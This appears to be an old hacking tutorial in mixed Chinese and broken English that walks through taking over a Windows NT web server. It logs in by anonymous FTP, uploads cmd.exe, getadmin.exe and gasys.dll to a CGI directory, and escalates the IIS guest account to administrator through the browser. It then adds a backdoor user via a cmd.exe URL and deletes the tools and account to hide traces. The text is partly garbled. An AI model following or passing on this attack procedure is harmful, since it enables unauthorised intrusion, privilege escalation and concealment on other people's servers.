如果收到"连接被拒绝"的消息,就表明这台服务器没有运行FTP服务.

then ,you can follow me!

C:\ftp ip address
220 saturn Microsoft FTP Service (Version 3.0).
user:SATURN
从这儿他可以推断出这台NT计算机上允许人们匿名使用WWW,FTP和GO
PHER服务的默认因特网帐号(anonymous internet
account).如果默认的帐号没有改变的话(他也知道很少有人会去改的这个帐号的),这个默认的帐号就是IUSR_SATURN.
input输入" anonymous "作为用户名
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
(331 允许匿名访问
口令 :xixixixixixixixi

输入"cd/c",因为一些管理员会把驱动器根目录作为FTP虚拟目录并且默认别名取为:"/c". next you can ipunt file into this server
"binary"来改变目录类型为I," put cmd.exe
200 PORT command successful.
150 Opening BINARY mode data connection for CMD.EXE.
226 Transfer complete.
208144 bytes sent in 0.06 seconds (3469.07 Kbytes/sec)
端口200 命令成功
150 打开CMD.EXE的二进制模式数据连接
226 传输完毕
0.06秒内传送完208144个字节(3469.07 Kbytes/sec)
把getadmin.exe和gasys.dll放进入这个目录
享受这一刻.
open browser.type in this sddress:
http://ipsddress/cgi-bin/getadmin.exe?IUSR_SATURN
：
CGI Error
The specified CGI application misbehaved by not returning a complete set
of HTTP headers. The headers it did return are:
CGI错误
由于没有返回完整的HTTP报头,指定的CGI应用程序功能异常.报头返回的数据为:
NOW :IUSR_SATURN is administrator
type in:
http://ipsddress/cgi-bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20cnn%20news%20/add

creat a member at passwors is :"news"的"cnn"帐号.为
nternet服务管理器,可以查看服务器管理器
del :cgi-bin中的cmd.exe,
getadmin.exe
gasys.dll，
使用域用户管理器
del this user :IUSR_


to this step :you hava finished a server!
to be quit!

:)